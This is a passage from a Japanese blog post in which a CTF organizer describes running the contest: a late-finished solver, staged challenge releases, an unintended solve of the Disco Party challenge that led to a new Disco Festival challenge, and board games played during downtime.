これらのトラブルは、スケジュールの余裕を読み違えてしまったことが根本的な原因の一つだと思っています。結局はやっぱりもっと余裕をもってやろうという話な気がしてきました。反省ポイントです。

開催中

zer0tp の作問で朝 6 時くらいまで作業した後、90 分仮眠を取ってから運営にあたりました。Modern Rome のみが開始と同時にリリースされる自分の問題だったので、問題が落ちるかもしれないといった心配はありませんでした（強いて言うならば、warump としての役割を果たしてくれるかは心配でしたが）。それよりも、Chirashi-sushi の flag を受理するバイナリとソルバが未だにない状態だったことが喫緊の問題でした。途中で解が一意に定まらないことが発覚してあわや没かといった一幕もありましたが、結局これらは開始から 5 時間程度後に完成しました。

開始 6 時間後に、Chirashi-Sushi 及び Disco Festival*9 以外の問題をリリースしました。当初は zer0tp はまだリリースされない予定だったのですが、リリースしたくなったのでしました。順次ソルバを回し、問題が正常に動いていたり動いていなかったり*10を確認していたら、Disco Party の bot 投稿に本来入り込むはずのない不穏なクエリ文字列を発見してしまいます。案の定、このあと数分後に solve が出たためにこの世の終わりのような気持ちになりました。miniblog++ という問題も miniblog# という「更新版」が出ていたために、最初は更新版は来年に回そうかと考えていました。しかし solve 数の伸びを見る限りでは更新版を出しても良さそうな雰囲気を感じたため、急遽作成することに。問題名は Platinum Disco Party などが頭に浮かびましたが、「望まれずに生まれてきた問題に由来のある命名をするべきではない」との判断で Disco Festival になりました。

開始 12 時間後に Chirashi-Sushi 及び Disco Festival をリリースし、これにて全ての問題をリリースし終えました。1 時間程度監視をしましたが目立ったトラブルはなさそうだったため、ようやく CTF 運営名物(?)であるボードゲームをすることに*11。今年はバトルシープがヒットでした。2 人バトルシープを初めてやったのですが、多人数バトルシープとゲーム性がかなり違って難しかったです。将棋とかやってる人に二人零和有限確定完全情報ゲーム（早口）で勝つの難しくない?

25 時くらいに寝た後、8時くらいに起きました。前日の疲れもありかなり眠かったわけですが、布団でクネクネしていたら 11 時くらいに Disco Festival が解かれそうな bot の通知が送られてきたので目がバッチリ覚めました。その後も数多のゲームをしたわけですが、Disco Party の bot が動いているサーバーに生えていたゲーム機能で遊んだのが印象的です。